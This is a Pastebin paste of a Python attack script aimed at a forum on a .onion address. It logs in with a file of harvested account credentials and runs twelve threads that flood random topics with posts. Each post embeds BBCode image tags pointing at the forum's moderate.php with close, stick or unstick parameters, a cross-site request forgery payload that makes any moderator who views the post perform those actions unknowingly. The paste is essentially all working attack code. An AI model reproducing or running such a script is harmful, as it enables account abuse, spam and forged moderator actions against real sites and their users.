Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- from itertools import islice
- from threading import Thread
- from robobrowser import RoboBrowser
- import sys
- import requests
- import random
- import threading
- import time
- import uuid
- import re
- url = "http://fdwocbsnity6vzwd.onion/"
- messages = [
- "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&close={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]",
- "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&stick={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]"
- ]
- unpin_message = "[img]https://pix.watch/vbTM_c/dtRDvh.gif[/img][img]https://pix.watch/Vp7hOa/z95YDJ.png[/img][img]" + url + "moderate.php?fid={}&unstick={}[/img]\n\n[i]« Qui aime bien châtie bien »[/i]\n[b]Apprends la faille CSRF avec moi :lol:[/b]"
- browser = False
- username = "BlackSpider"
- password = "123456789"
- is_running = True
- founds = {}
- timers = {}
- accounts = {}
- forums_ids = [37, 8, 2, 4, 19, 33, 30, 5, 40, 21, 70, 82, 73, 83, 26, 61, 86, 85, 88, 95, 90, 93, 94]
- class Spammer(Thread):
- def __init__(self):
- Thread.__init__(self)
- def run(self):
- global founds
- global timers
- global is_running
- global accounts
- while is_running:
- browser = RoboBrowser(history=False, parser="html.parser")
- browser.session.headers['User-Agent'] = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0"
- username = random.choice(list(accounts.items()))
- while username in timers and time.time() - timers[username[0]] < 120:
- username = random.choice(list(accounts.items()))
- if login(browser, username[0], username[1]):
- print ("Login ok : " + username[0] + ":" + username[1] + "\n")
- spam(browser)
- timers[username[0]] = time.time()
- with open('used.txt', 'a') as f:
- f.write(username[0] + "\n")
- continue
- else:
- print ("Login fail : " + username[0] + ":" + username[1] + "\n")
- timers[username[0]] = time.time() + 100000
- continue
- def spam(browser):
- global url
- global messages
- global forums_ids
- global unpin_message
- forum_id = random.choice(forums_ids)
- browser.open(url + "viewforum.php?id=" + str(forum_id) + "&p=" + str(random.randint(1, 10)))
- rows = browser.select('tr.inew')
- for row in rows:
- topic = row.select('td.tcl')[0]
- if topic.select('.stickytext'):
- pinned = True
- else:
- pinned = False
- topic_a = topic.select('div.tclcon a')[0]
- topic_id = re.findall(r'\d+', topic_a.get('href'))[0]
- browser.follow_link(topic_a)
- browser.session.headers['Referer'] = url + topic_a.get('href')
- print (browser.session.headers['Referer'])
- form = browser.get_form(id="quickpostform")
- if not pinned:
- form['req_message'] = random.choice(messages).format(forum_id, topic_id)
- else:
- form['req_message'] = unpin_message.format(forum_id, topic_id)
- submit_button = form['submit']
- browser.submit_form(form, submit=submit_button)
- with open('file.html', 'w') as f:
- f.write(str(browser.parsed))
- def login(browser, user, password):
- browser.open(url + "login.php")
- form = browser.get_form(id="login")
- form['req_username'].value = user
- form['req_password'].value = password
- browser.submit_form(form)
- return browser.find(id="navlogout") is not None
- def open_accounts():
- global founds
- with open('accounts.txt', 'r') as f:
- for line in f.readlines():
- parts = line.strip().split(':')
- accounts[parts[0]] = parts[1]
- def main():
- global is_running
- threads = []
- nbr_threads = 12
- open_accounts()
- for i in range(nbr_threads):
- t = Spammer()
- threads.append(t)
- t.start()
- while len(threads) > 0:
- try:
- threads = [t.join(1) for t in threads if t is not None and t.isAlive()]
- except KeyboardInterrupt:
- is_running = False
- print ("Shutdown threads...")
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement